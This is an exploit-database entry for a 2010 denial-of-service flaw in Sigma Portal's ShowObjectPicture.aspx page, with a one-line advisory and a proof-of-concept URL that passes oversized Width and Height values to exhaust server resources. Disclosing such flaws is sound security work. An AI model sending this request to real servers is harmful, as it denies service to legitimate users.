Sigma Portal - 'ShowObjectPicture.aspx' Denial of Service

Author: Pouya Daneshmand
type: dos
platform: asp
port: 
date_added: 2010-12-27 
date_updated: 2014-11-04 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/45588/info

Sigma Portal is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to cause the server to consume excessive resources, denying service to legitimate users.

http://www.example.com/Portal/Picture/ShowObjectPicture.aspx?Width=%27910000&Height=1099000-=&ObjectType=News&ObjectID=(Picture ID)